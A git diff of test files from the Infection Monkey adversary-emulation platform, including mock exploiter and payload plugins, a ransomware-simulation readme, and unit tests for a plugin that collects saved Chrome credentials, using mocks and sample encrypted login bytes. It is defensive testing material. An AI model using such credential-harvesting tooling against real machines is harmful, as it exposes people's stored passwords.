plugin_type=AgentPluginType.EXPLOITER, - title=None, - version="1.0.0", - target_operating_systems=(OperatingSystem.WINDOWS,), - description="Another Mocked description", - link_to_documentation="http://nopenope.com", - remediation_suggestion=REMEDIATION_SUGGESTION_2, - safe=True, - ), - EXPLOITER_INCOMPLETE_MANIFEST: AgentPluginManifest( - name=EXPLOITER_INCOMPLETE_MANIFEST, - plugin_type=AgentPluginType.EXPLOITER, - target_operating_systems=tuple(), - version="1.0.0", - ), - } + EXPLOITER_NAME_1: EXPLOITER_MANIFEST_1, + EXPLOITER_NAME_2: EXPLOITER_MANIFEST_2, + EXPLOITER_INCOMPLETE_MANIFEST: EXPLOITER_MANIFEST_INCOMPLETE, + }, + AgentPluginType.CREDENTIALS_COLLECTOR: { + CREDENTIALS_COLLECTOR_NAME_1: CREDENTIALS_COLLECTOR_MANIFEST_1, + }, } diff --git a/monkey/tests/data_for_tests/agent_plugin/mock1/build.sh b/monkey/tests/data_for_tests/agent_plugin/mock1/build.sh deleted file mode 100755 index 28830e837c5..00000000000 --- a/monkey/tests/data_for_tests/agent_plugin/mock1/build.sh +++ /dev/null @@ -1,48 +0,0 @@ -#!/bin/sh - -# Build the plugin package -# Usage: ./build.sh - -DEFAULT_DEPENDENCY_VERSION=1.0.0 -MANIFEST_FILENAME=manifest.yaml -SCHEMA_FILENAME=config-schema.json -DEPENDENCY_FILE="src/vendor/mock_dependency.py" -ROOT="$( cd "$( dirname "$0" )" && pwd )" - -get_value_from_key() { - _file="$1" - _key="$2" - _value=$(grep -Po "(?<=^${_key}:).*" "$_file") - if [ -z "$_value" ]; then - echo "Error: Plugin '$_key' not found." - exit 1 - else - echo "$_value" - fi -} - -lower() { - echo "$1" | tr "[:upper:]" "[:lower:]" -} - -# Generate the dependency -version=$DEFAULT_DEPENDENCY_VERSION -if [ "$1" ]; then - version=$1 -fi -echo "__version__ = \"${version}\"" > "$ROOT/$DEPENDENCY_FILE" - - -# Package everything up -cd "$ROOT/src" || exit 1 -tar -cf "$ROOT/source.tar" plugin.py vendor -cd "$ROOT" || exit 1 - - -# xargs strips leading whitespace -name=$(get_value_from_key $MANIFEST_FILENAME name | xargs) -type=$(lower "$(get_value_from_key $MANIFEST_FILENAME plugin_type | xargs)") - -plugin_filename="${name}-${type}.tar" -tar -cf "$ROOT/$plugin_filename" $MANIFEST_FILENAME $SCHEMA_FILENAME source.tar -rm "$ROOT/source.tar" diff --git a/monkey/tests/data_for_tests/agent_plugin/mock1/src/plugin.py b/monkey/tests/data_for_tests/agent_plugin/mock1/src/plugin.py index e9da8183f38..0e0bfb24ab4 100644 --- a/monkey/tests/data_for_tests/agent_plugin/mock1/src/plugin.py +++ b/monkey/tests/data_for_tests/agent_plugin/mock1/src/plugin.py @@ -10,7 +10,7 @@ from common.event_queue import IAgentEventPublisher from common.types import AgentID from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from infection_monkey.utils.threading import interruptible_iter @@ -42,8 +42,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: - + ) -> ExploiterResult: logger.info(f"Main thread name {current_thread().name}") logger.info(f"Mock dependency package version: {mock_dependency.__version__}") @@ -68,14 +67,14 @@ def run( logger.debug(f"Exploit success: {exploitation_success}") logger.debug(f"Prop success: {propagation_success}") logger.debug(f"OS: {str(host.operating_system)}") - exploiter_result_data = ExploiterResultData( + exploiter_result = ExploiterResult( exploitation_success=exploitation_success, propagation_success=propagation_success, os=str(host.operating_system), ) - logger.debug(f"Returning ExploiterResultData: {exploiter_result_data}") + logger.debug(f"Returning ExploiterResult: {exploiter_result}") - return exploiter_result_data + return exploiter_result @staticmethod def _log_options(options: Dict[str, Any]): diff --git a/monkey/tests/data_for_tests/agent_plugin/mock2/build.sh b/monkey/tests/data_for_tests/agent_plugin/mock2/build.sh deleted file mode 100755 index 73ee5f11f5f..00000000000 --- a/monkey/tests/data_for_tests/agent_plugin/mock2/build.sh +++ /dev/null @@ -1,48 +0,0 @@ -#!/bin/sh - -# Build the plugin package -# Usage: ./build.sh - -DEFAULT_DEPENDENCY_VERSION=2.4.0 -MANIFEST_FILENAME=manifest.yaml -SCHEMA_FILENAME=config-schema.json -DEPENDENCY_FILE="src/vendor/mock_dependency.py" -ROOT="$( cd "$( dirname "$0" )" && pwd )" - -get_value_from_key() { - _file="$1" - _key="$2" - _value=$(grep -Po "(?<=^${_key}:).*" "$_file") - if [ -z "$_value" ]; then - echo "Error: Plugin '$_key' not found." - exit 1 - else - echo "$_value" - fi -} - -lower() { - echo "$1" | tr "[:upper:]" "[:lower:]" -} - -# Generate the dependency -version=$DEFAULT_DEPENDENCY_VERSION -if [ "$1" ]; then - version=$1 -fi -echo "__version__ = \"${version}\"" > "$ROOT/$DEPENDENCY_FILE" - - -# Package everything up -cd "$ROOT/src" || exit 1 -tar -cf "$ROOT/source.tar" plugin.py vendor -cd "$ROOT" || exit 1 - - -# xargs strips leading whitespace -name=$(get_value_from_key $MANIFEST_FILENAME name | xargs) -type=$(lower "$(get_value_from_key $MANIFEST_FILENAME plugin_type | xargs)") - -plugin_filename="${name}-${type}.tar" -tar -cf "$ROOT/$plugin_filename" $MANIFEST_FILENAME $SCHEMA_FILENAME source.tar -rm "$ROOT/source.tar" diff --git a/monkey/tests/data_for_tests/agent_plugin/mock2/src/plugin.py b/monkey/tests/data_for_tests/agent_plugin/mock2/src/plugin.py index 2213e7b00c4..2eda353b586 100644 --- a/monkey/tests/data_for_tests/agent_plugin/mock2/src/plugin.py +++ b/monkey/tests/data_for_tests/agent_plugin/mock2/src/plugin.py @@ -8,7 +8,7 @@ from common.event_queue import IAgentEventPublisher from common.types import AgentID from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository logger = logging.getLogger(__name__) @@ -39,8 +39,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: - + ) -> ExploiterResult: logger.info(f"Main thread name {current_thread().name}") logger.info(f"Mock dependency package version: {mock_dependency.__version__}") @@ -64,14 +63,14 @@ def run( logger.debug(f"Exploit success: {exploitation_success}") logger.debug(f"Prop success: {propagation_success}") logger.debug(f"OS: {str(host.operating_system)}") - exploiter_result_data = ExploiterResultData( + exploiter_result = ExploiterResult( exploitation_success=exploitation_success, propagation_success=propagation_success, os=str(host.operating_system), ) - logger.debug(f"Returning ExploiterResultData: {exploiter_result_data}") + logger.debug(f"Returning ExploiterResult: {exploiter_result}") - return exploiter_result_data + return exploiter_result @staticmethod def _log_options(options: Dict[str, Any]): diff --git a/monkey/tests/data_for_tests/agent_plugin/mock_multiple_vendors/src/plugin.py b/monkey/tests/data_for_tests/agent_plugin/mock_multiple_vendors/src/plugin.py index 1218b32ec6b..c1e673e6eb5 100644 --- a/monkey/tests/data_for_tests/agent_plugin/mock_multiple_vendors/src/plugin.py +++ b/monkey/tests/data_for_tests/agent_plugin/mock_multiple_vendors/src/plugin.py @@ -8,7 +8,7 @@ from common.event_queue import IAgentEventPublisher from common.types import AgentID from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository logger = logging.getLogger(__name__) @@ -39,8 +39,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: - + ) -> ExploiterResult: logger.info(f"Main thread name {current_thread().name}") logger.info( f"Mock dependency package version/operating system: {mock_dependency.__version__}" @@ -56,11 +55,11 @@ def run( ) ) - exploiter_result_data = ExploiterResultData( + exploiter_result = ExploiterResult( exploitation_success=False, propagation_success=False, os=str(host.operating_system), ) - logger.debug(f"Returning ExploiterResultData: {exploiter_result_data}") + logger.debug(f"Returning ExploiterResult: {exploiter_result}") - return exploiter_result_data + return exploiter_result diff --git a/monkey/tests/data_for_tests/credential_collector_plugin/build.sh b/monkey/tests/data_for_tests/build.sh old mode 100755 new mode 100644 similarity index 78% rename from monkey/tests/data_for_tests/credential_collector_plugin/build.sh rename to monkey/tests/data_for_tests/build.sh index 28830e837c5..41218c3cbfc --- a/monkey/tests/data_for_tests/credential_collector_plugin/build.sh +++ b/monkey/tests/data_for_tests/build.sh @@ -1,13 +1,14 @@ #!/bin/sh # Build the plugin package -# Usage: ./build.sh +# Usage: ./build.sh DEFAULT_DEPENDENCY_VERSION=1.0.0 MANIFEST_FILENAME=manifest.yaml SCHEMA_FILENAME=config-schema.json DEPENDENCY_FILE="src/vendor/mock_dependency.py" -ROOT="$( cd "$( dirname "$0" )" && pwd )" +PLUGIN_DIRECTORY_PATH=$(realpath "$1") +ROOT="$( cd $PLUGIN_DIRECTORY_PATH && pwd )" get_value_from_key() { _file="$1" @@ -27,15 +28,15 @@ lower() { # Generate the dependency version=$DEFAULT_DEPENDENCY_VERSION -if [ "$1" ]; then - version=$1 +if [ "$2" ]; then + version=$2 fi echo "__version__ = \"${version}\"" > "$ROOT/$DEPENDENCY_FILE" # Package everything up cd "$ROOT/src" || exit 1 -tar -cf "$ROOT/source.tar" plugin.py vendor +tar -czf $ROOT/source.tar.gz plugin.py vendor/ cd "$ROOT" || exit 1 @@ -44,5 +45,5 @@ name=$(get_value_from_key $MANIFEST_FILENAME name | xargs) type=$(lower "$(get_value_from_key $MANIFEST_FILENAME plugin_type | xargs)") plugin_filename="${name}-${type}.tar" -tar -cf "$ROOT/$plugin_filename" $MANIFEST_FILENAME $SCHEMA_FILENAME source.tar -rm "$ROOT/source.tar" +tar -cf "$ROOT/$plugin_filename" $MANIFEST_FILENAME $SCHEMA_FILENAME source.tar.gz +rm "$ROOT/source.tar.gz" diff --git a/monkey/tests/data_for_tests/payload_plugin/MockPayload-payload.tar b/monkey/tests/data_for_tests/payload_plugin/MockPayload-payload.tar new file mode 100644 index 00000000000..ff6953e2b53 Binary files /dev/null and b/monkey/tests/data_for_tests/payload_plugin/MockPayload-payload.tar differ diff --git a/monkey/tests/data_for_tests/payload_plugin/config-schema.json b/monkey/tests/data_for_tests/payload_plugin/config-schema.json new file mode 100644 index 00000000000..c56b3762d7c --- /dev/null +++ b/monkey/tests/data_for_tests/payload_plugin/config-schema.json @@ -0,0 +1,19 @@ +{ + "title": "Mock payload", + "description": "Configuration settings for mock payload.", + "type": "object", + "properties": { + "random_boolean": { + "title": "Random boolean", + "description": "A random boolean field for testing", + "type": "boolean", + "default": true + }, + "sleep_duration": { + "title": "Sleep duration", + "description": "Duration in seconds for which the plugin should sleep", + "type": "number", + "default": 0 + } + } +} diff --git a/monkey/tests/data_for_tests/payload_plugin/manifest.yaml b/monkey/tests/data_for_tests/payload_plugin/manifest.yaml new file mode 100644 index 00000000000..234f76a81bf --- /dev/null +++ b/monkey/tests/data_for_tests/payload_plugin/manifest.yaml @@ -0,0 +1,13 @@ +name: MockPayload +plugin_type: Payload +supported_operating_systems: + - linux + - windows +target_operating_systems: + - windows + - linux +title: Mock Payload plugin +description: A payload plugin for testing purposes +version: 1.0.0 +safe: true +link_to_documentation: https://www.akamai.com/infectionmonkey diff --git a/monkey/tests/data_for_tests/payload_plugin/src/plugin.py b/monkey/tests/data_for_tests/payload_plugin/src/plugin.py new file mode 100644 index 00000000000..027764de2d1 --- /dev/null +++ b/monkey/tests/data_for_tests/payload_plugin/src/plugin.py @@ -0,0 +1,72 @@ +import logging +import time +from pathlib import PurePosixPath +from threading import Event, current_thread +from typing import Any, Dict + +import mock_dependency + +from common.agent_events import AgentEventTag, FileEncryptionEvent +from common.event_queue import IAgentEventPublisher +from common.types import AgentID +from infection_monkey.i_puppet import PayloadResult +from infection_monkey.utils.threading import interruptible_iter + +logger = logging.getLogger(__name__) + + +class Plugin: + def __init__( + self, + *, + plugin_name="", + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + **kwargs, + ): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + + def run( + self, + *, + options: Dict[str, Any], + interrupt: Event, + **kwargs, + ) -> PayloadResult: + logger.info(f"Main thread name {current_thread().name}") + logger.info(f"Mock dependency package version: {mock_dependency.__version__}") + + Plugin._log_options(options) + Plugin._sleep(options.get("sleep_duration", 0), interrupt) + + return self._run_payload(options) + + @staticmethod + def _log_options(options: Dict[str, Any]): + logger.info("Plugin options:") + + random_boolean = options.get("random_boolean", None) + logger.info(f"Random boolean: {random_boolean}") + + @staticmethod + def _sleep(duration: float, interrupt: Event): + logger.info(f"Sleeping for {duration} seconds") + for time_passed in interruptible_iter(range(int(duration)), interrupt): + logger.info(f"Passed {time_passed} seconds") + time.sleep(1) + + def _run_payload(self, options: Dict[str, Any]) -> PayloadResult: + payload_result = PayloadResult(success=True) + + self._agent_event_publisher.publish( + FileEncryptionEvent( + source=self._agent_id, + file_path=PurePosixPath("/home/ubuntu/encrypted.txt"), + success=True, + error_message="error", + tags=frozenset({AgentEventTag("payload-tag")}), + ) + ) + + return payload_result diff --git a/monkey/tests/data_for_tests/payload_plugin/src/vendor/mock_dependency.py b/monkey/tests/data_for_tests/payload_plugin/src/vendor/mock_dependency.py new file mode 100644 index 00000000000..5becc17c04a --- /dev/null +++ b/monkey/tests/data_for_tests/payload_plugin/src/vendor/mock_dependency.py @@ -0,0 +1 @@ +__version__ = "1.0.0" diff --git a/monkey/tests/data_for_tests/plugins/dir-exploiter.tar b/monkey/tests/data_for_tests/plugins/dir-exploiter.tar index 8fee2f1380e..bb53ed1da19 100644 Binary files a/monkey/tests/data_for_tests/plugins/dir-exploiter.tar and b/monkey/tests/data_for_tests/plugins/dir-exploiter.tar differ diff --git a/monkey/tests/data_for_tests/plugins/symlink-exploiter.tar b/monkey/tests/data_for_tests/plugins/symlink-exploiter.tar index 8aa98bdb210..eee30ec79b9 100644 Binary files a/monkey/tests/data_for_tests/plugins/symlink-exploiter.tar and b/monkey/tests/data_for_tests/plugins/symlink-exploiter.tar differ diff --git a/monkey/tests/data_for_tests/plugins/test-exploiter.tar b/monkey/tests/data_for_tests/plugins/test-exploiter.tar index 1d70c59127f..e552f66c355 100644 Binary files a/monkey/tests/data_for_tests/plugins/test-exploiter.tar and b/monkey/tests/data_for_tests/plugins/test-exploiter.tar differ diff --git a/monkey/tests/data_for_tests/test_readme.txt b/monkey/tests/data_for_tests/test_readme.txt index 8ab686eafeb..0842cbdb8c5 100644 --- a/monkey/tests/data_for_tests/test_readme.txt +++ b/monkey/tests/data_for_tests/test_readme.txt @@ -1 +1,50 @@ -Hello, World! + ██████████ ██ █████ ███████████ ███ +░░███░░░░███ ███ ░░███ ░░███░░░░░███ ░░░ + ░███ ░░███ ██████ ████████ ░░░ ███████ ░███ ░███ ██████ ████████ ████ ██████ + ░███ ░███ ███░░███░░███░░███ ░░░███░ ░██████████ ░░░░░███ ░░███░░███ ░░███ ███░░███ + ░███ ░███░███ ░███ ░███ ░███ ░███ ░███░░░░░░ ███████ ░███ ░███ ░███ ░███ ░░░ + ░███ ███ ░███ ░███ ░███ ░███ ░███ ███ ░███ ███░░███ ░███ ░███ ░███ ░███ ███ + ██████████ ░░██████ ████ █████ ░░█████ █████ ░░████████ ████ █████ █████░░██████ +░░░░░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░░ ░░░░░░ + + -yddy- + `` yN::Ny `` + `ymdmo .hNNh. . omdmy` + :Ny:dm. .`-NN- -m .md:yN: + :sdNN: :m:+NN+:ymy -` :NNds: + +Nmo-/ohNNmNNNNNNNdms-+mN+ + ``` dNNNNNNNNNNNNNNNNNNNNNNd ``` + `ymhms `+dNNNNNNNNNNNNNNNNNNNNNNNNd+` smhmy` + :Ny:dNh- +mNNNNNNNNNNNNNNNNNNNNNNNNNNNNm+ -hNd:yN: + -ossydNmhmNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNmhmNdysso- + .dNNNNNNNNmhyyhdNNNNNNNNdhyyhmNNNNNNNNh. + ./ooodNNNNNms- ..` `/hNNh/` `.. -omNNNNNdooo/. + /dNNNNNNNNNNd. :hNNNNms. ++ .smNNNmy: .dNNNNNNNNNNd/ + yNNmo:-mNNNNm. +NNmyodNNm. .mNNdoymNN+ .mNNNNm-:omNNy + /NNN- -NNNNNm hNNy .NNN/ /NNN. yNNh mNNNNN- -NNN/ + /NNN. :NNNNNN: :mNNdhmNNh` `hNNmhdNNm: :NNNNNN: .NNN/ + `dNNd/..NNNNNNm/ .ohmmdy/ ```` /ydmmho. /mNNNNNN.`/dNNd` + `omNNNmNNNNNNNNh+-` :h::h: `-+hNNNNNNNNmNNNmo` + `:oyyymNNNNNNNNNmh+` `+hmNNNNNNNNNmyyyo:` + `hNNNNNNNNNs`/yys+/::/+syy/`yNNNNNNNNNh` + ./+++ymNmNNNNNNNNd `-://:-` dNNNNNNNNmNmy+++/. + -mh+dNd/` `sNNNNNNNo oNNNNNNNs` `/dNd+hm: + .ddsmh` -ymNNNNNh- -hNNNNNms- `hmsdd. + --. `dNNNNNNds/:--:/sdNNNNNNd` .-- + :NNs/oydmNNNNNNNNmdyo/sNm: + .+hNN/ `.sNNs.` /NNy+. + :my/dm. -NN- .md/ym- + .ddymy `yNNy` `ymydd. + .-. yN//Ny .-. + :dmmd: + +This is NOT a real ransomware attack. + +Infection Monkey is an open-source adversary emulation platform. The files in this directory have +been manipulated as part of a ransomware simulation. If you've discovered this file and are unsure +about how to proceed, please contact your administrator. + +For more information about Infection Monkey, see https://www.akamai.com/infectionmonkey. + +For more information about Infection Monkey's ransomware simulation, see +https://techdocs.akamai.com/infection-monkey/docs/ransomware-simulation. diff --git a/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py b/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py deleted file mode 100644 index bfe0f507028..00000000000 --- a/monkey/tests/integration_tests/infection_monkey/payload/ransomware/test_integrated_ransomware.py +++ /dev/null @@ -1,41 +0,0 @@ -import threading -from copy import deepcopy -from unittest.mock import MagicMock - -import pytest - -import infection_monkey.payload.ransomware.ransomware_builder as ransomware_builder -from common.agent_configuration.default_agent_configuration import RANSOMWARE_OPTIONS -from common.event_queue import IAgentEventQueue -from common.types import AgentID - -AGENT_ID = AgentID("0442ca83-10ce-495f-9c1c-92b4e1f5c39c") - - -@pytest.fixture -def ransomware_options_dict(ransomware_file_extension): - options = deepcopy(RANSOMWARE_OPTIONS) - options["encryption"]["file_extension"] = ransomware_file_extension - return options - - -def test_uses_correct_extension(ransomware_options_dict, tmp_path, ransomware_file_extension): - target_dir = tmp_path - - # Leaving a readme is slow and not relevant for this test - ransomware_options_dict["other_behaviors"]["readme"] = False - ransomware_directories = ransomware_options_dict["encryption"]["directories"] - ransomware_directories["linux_target_dir"] = target_dir - ransomware_directories["windows_target_dir"] = target_dir - ransomware = ransomware_builder.build_ransomware( - ransomware_options_dict, MagicMock(spec=IAgentEventQueue), AGENT_ID - ) - - file = target_dir / "file.txt" - file.write_text("Do your worst!") - - ransomware.run(threading.Event()) - - # Verify that the file has been encrypted with the correct ending - encrypted_file = file.with_suffix(file.suffix + ransomware_file_extension) - assert encrypted_file.is_file() diff --git a/monkey/tests/monkey_island/in_memory_agent_plugin_repository.py b/monkey/tests/monkey_island/in_memory_agent_plugin_repository.py index ae25b4e9d09..e11ebbfa6c4 100644 --- a/monkey/tests/monkey_island/in_memory_agent_plugin_repository.py +++ b/monkey/tests/monkey_island/in_memory_agent_plugin_repository.py @@ -1,8 +1,11 @@ -from typing import Any, Dict +from typing import Any, Dict, List, Optional from common import OperatingSystem from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType -from monkey_island.cc.repositories import IAgentPluginRepository, RetrievalError, UnknownRecordError +from monkey_island.cc.repositories import RetrievalError, UnknownRecordError +from monkey_island.cc.services.agent_plugin_service.i_agent_plugin_repository import ( + IAgentPluginRepository, +) class InMemoryAgentPluginRepository(IAgentPluginRepository): @@ -12,9 +15,11 @@ def __init__(self): def get_plugin( self, host_operating_system: OperatingSystem, plugin_type: AgentPluginType, name: str ) -> AgentPlugin: - if name not in self._plugins: + try: + plugin = self._plugins[host_operating_system][plugin_type][name] + except KeyError: raise UnknownRecordError(f"Plugin '{name}' does not exist.") - plugin = self._plugins[name] + if host_operating_system not in plugin.supported_operating_systems: raise RetrievalError(f"{host_operating_system} not supported for plugin '{name}'") return plugin @@ -24,7 +29,7 @@ def get_all_plugin_configuration_schemas( ) -> Dict[AgentPluginType, Dict[str, Dict[str, Any]]]: schemas: Dict[AgentPluginType, Dict[str, Dict[str, Any]]] = {} - for plugin in self._plugins.values(): + for plugin in self._get_plugins_from_dict(): plugin_type = plugin.plugin_manifest.plugin_type schemas.setdefault(plugin_type, {}) schemas[plugin_type][plugin.plugin_manifest.name] = plugin.config_schema @@ -34,12 +39,53 @@ def get_all_plugin_configuration_schemas( def get_all_plugin_manifests(self) -> Dict[AgentPluginType, Dict[str, AgentPluginManifest]]: manifests: Dict[AgentPluginType, Dict[str, AgentPluginManifest]] = {} - for plugin in self._plugins.values(): + for plugin in self._get_plugins_from_dict(): plugin_type = plugin.plugin_manifest.plugin_type manifests.setdefault(plugin_type, {}) manifests[plugin_type][plugin.plugin_manifest.name] = plugin.plugin_manifest return manifests - def save_plugin(self, plugin: AgentPlugin): - self._plugins[plugin.plugin_manifest.name] = plugin + def _get_plugins_from_dict(self) -> List[AgentPlugin]: + plugins = [] + for os, type_specific_plugins in self._plugins.items(): + for plugin_type, agent_plugins in type_specific_plugins.items(): + for plugin_name, agent_plugin in agent_plugins.items(): + plugins.append(agent_plugin) + + return plugins + + def store_agent_plugin(self, operating_system: OperatingSystem, agent_plugin: AgentPlugin): + if operating_system not in self._plugins: + self._plugins[operating_system] = {} + + if agent_plugin.plugin_manifest.plugin_type not in self._plugins[operating_system]: + self._plugins[operating_system][agent_plugin.plugin_manifest.plugin_type] = {} + + self._plugins[operating_system][agent_plugin.plugin_manifest.plugin_type][ + agent_plugin.plugin_manifest.name + ] = agent_plugin + + def remove_agent_plugin( + self, + agent_plugin_type: AgentPluginType, + agent_plugin_name: str, + operating_system: Optional[OperatingSystem] = None, + ): + if operating_system is None: + for os in self._plugins.keys(): + self._remove_os_specific_plugin(agent_plugin_type, agent_plugin_name, os) + else: + self._remove_os_specific_plugin(agent_plugin_type, agent_plugin_name, operating_system) + + def _remove_os_specific_plugin( + self, + agent_plugin_type: AgentPluginType, + agent_plugin_name: str, + operating_system: OperatingSystem, + ): + os_specific_plugins = self._plugins.get(operating_system, None) + if os_specific_plugins: + type_specific_plugins = os_specific_plugins.get(agent_plugin_type, None) + if type_specific_plugins: + type_specific_plugins.pop(agent_plugin_name, None) diff --git a/monkey/tests/monkey_island/in_memory_simulation_configuration.py b/monkey/tests/monkey_island/in_memory_simulation_configuration.py index 0a7ba6912bd..6485f1b7cfc 100644 --- a/monkey/tests/monkey_island/in_memory_simulation_configuration.py +++ b/monkey/tests/monkey_island/in_memory_simulation_configuration.py @@ -1,4 +1,4 @@ -from monkey_island.cc.models import IslandMode, Simulation +from monkey_island.cc.models import Simulation from monkey_island.cc.repositories import ISimulationRepository @@ -11,9 +11,3 @@ def get_simulation(self) -> Simulation: def save_simulation(self, simulation: Simulation): self._simulation = simulation - - def get_mode(self) -> IslandMode: - return self._simulation.mode - - def set_mode(self, mode: IslandMode): - self._simulation = Simulation(mode=mode) diff --git a/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_chrome_credentials_collector.py b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_chrome_credentials_collector.py new file mode 100644 index 00000000000..7101d371dd8 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_chrome_credentials_collector.py @@ -0,0 +1,90 @@ +from pathlib import PurePath +from unittest.mock import MagicMock + +import pytest +from agent_plugins.credentials_collectors.chrome.src.chrome_credentials_collector import ( + ChromeCredentialsCollector, +) +from agent_plugins.credentials_collectors.chrome.src.typedef import ( + CredentialsDatabaseProcessorCallable, + CredentialsDatabaseSelectorCallable, +) +from tests.data_for_tests.propagation_credentials import CREDENTIALS + +from common.event_queue import IAgentEventPublisher +from common.types import AgentID + +AGENT_ID = AgentID("43b1dabd-27e3-4c13-9c2d-fc870f7266cc") +DATABASE_PATHS = [PurePath("some_path"), PurePath("some_other_path")] + + +@pytest.fixture +def event_publisher(): + return MagicMock(spec=IAgentEventPublisher) + + +@pytest.fixture +def database_selector(): + return MagicMock(spec=CredentialsDatabaseSelectorCallable, return_value=DATABASE_PATHS) + + +@pytest.fixture +def database_processor(): + return MagicMock(spec=CredentialsDatabaseProcessorCallable, return_value=CREDENTIALS) + + +@pytest.fixture +def chrome_credentials_collector(event_publisher, database_selector, database_processor): + return ChromeCredentialsCollector( + agent_id=AGENT_ID, + agent_event_publisher=event_publisher, + select_credentials_database=database_selector, + process_credentials_database=database_processor, + ) + + +def test_run__returns_empty_list_if_no_credentials_found( + chrome_credentials_collector, database_processor +): + database_processor.return_value = [] + actual_credentials = chrome_credentials_collector.run(interrupt=MagicMock()) + + assert actual_credentials == [] + + +def test_run__returns_credentials_if_found(chrome_credentials_collector): + actual_credentials = chrome_credentials_collector.run(interrupt=MagicMock()) + + assert actual_credentials == CREDENTIALS + + +def test_run__publishes_credentials_stolen_event_if_no_credentials_found( + chrome_credentials_collector, event_publisher, database_processor +): + database_processor.return_value = [] + chrome_credentials_collector.run(interrupt=MagicMock()) + + event_publisher.publish.assert_called_once() + event = event_publisher.publish.call_args_list[0][0][0] + assert event.source == AGENT_ID + assert event.stolen_credentials == [] + + +def test_run__does_not_publish_credentials_stolen_event_if_no_databases_found( + chrome_credentials_collector, event_publisher, database_selector +): + database_selector.return_value = [] + chrome_credentials_collector.run(interrupt=MagicMock()) + + event_publisher.publish.assert_not_called() + + +def test_run__publishes_credentials_stolen_event_with_discovered_credentials( + chrome_credentials_collector, event_publisher +): + chrome_credentials_collector.run(interrupt=MagicMock()) + + event_publisher.publish.assert_called_once() + event = event_publisher.publish.call_args_list[0][0][0] + assert event.source == AGENT_ID + assert event.stolen_credentials == CREDENTIALS diff --git a/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_chrome_plugin.py b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_chrome_plugin.py new file mode 100644 index 00000000000..36c9089e9fa --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_chrome_plugin.py @@ -0,0 +1,70 @@ +import threading +from unittest.mock import MagicMock + +from agent_plugins.credentials_collectors.chrome.src.plugin import Plugin +from tests.utils import get_reference_to_exception_raising_function + +from common.credentials import Credentials, Password, Username +from common.event_queue import IAgentEventPublisher +from common.types import AgentID + +AGENT_ID = AgentID("ed077054-a316-479a-a99d-75bb378c0a6e") + +CREDENTIALS = [ + Credentials( + identity=Username(username="some_username"), secret=Password(password="some_password") + ) +] + + +class ExceptionCallable: + def run(self, interrupt): + raise_exception = get_reference_to_exception_raising_function(Exception) + raise_exception() + + +class MockCallable: + def run(self): + return CREDENTIALS + + +def test_chrome_plugin__build_exception(monkeypatch): + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src.plugin.build_chrome_credentials_collector", + get_reference_to_exception_raising_function(Exception), + ) + chrome_plugin = Plugin( + agent_id=AGENT_ID, agent_event_publisher=MagicMock(spec=IAgentEventPublisher) + ) + + actual_credentials = chrome_plugin.run(options={}, interrupt=threading.Event()) + + assert actual_credentials == [] + + +def test_chrome_plugin__run_exception(monkeypatch): + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src.plugin.build_chrome_credentials_collector", + lambda *_: ExceptionCallable, + ) + chrome_plugin = Plugin( + agent_id=AGENT_ID, agent_event_publisher=MagicMock(spec=IAgentEventPublisher) + ) + + actual_credentials = chrome_plugin.run(options={}, interrupt=threading.Event()) + + assert actual_credentials == [] + + +def test_chrome_plugin__credential_collector(monkeypatch): + monkeypatch.setattr( + "agent_plugins.credentials_collectors.chrome.src.plugin.build_chrome_credentials_collector", + lambda *_: MockCallable, + ) + chrome_plugin = Plugin( + agent_id=AGENT_ID, agent_event_publisher=MagicMock(spec=IAgentEventPublisher) + ) + + actual_credentials = chrome_plugin.run(options={}, interrupt=threading.Event()) + + assert actual_credentials == CREDENTIALS diff --git a/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_linux_credentials_database_processor.py b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_linux_credentials_database_processor.py new file mode 100644 index 00000000000..13cd008cf04 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/credentials_collectors/chrome/test_linux_credentials_database_processor.py @@ -0,0 +1,89 @@ +from pathlib import Path +from threading import Event + +import pytest +from agent_plugins.credentials_collectors.chrome.src.browser_credentials_database_path import ( + BrowserCredentialsDatabasePath, +) + +from common.credentials import Credentials, EmailAddress, Password, Username + +pwd = pytest.importorskip("pwd") +# we need to check if `pwd` can be imported before importing `LinuxCredentialsDatabaseProcessor` +from agent_plugins.credentials_collectors.chrome.src.linux_credentials_database_processor import ( # noqa: E402, E501 + LinuxCredentialsDatabaseProcessor, +) + +LOGINS_A = [ + ("user1", b"v1037\xbc\xae\x8c\x1e\x19&+\xf0S\x14\x02E\xf2\xcf"), + ("user2", b"v10\xa0\x0b\xca\xb5\xfe\x96\x05m\x91\x97lY-\xcf\xcaz"), +] 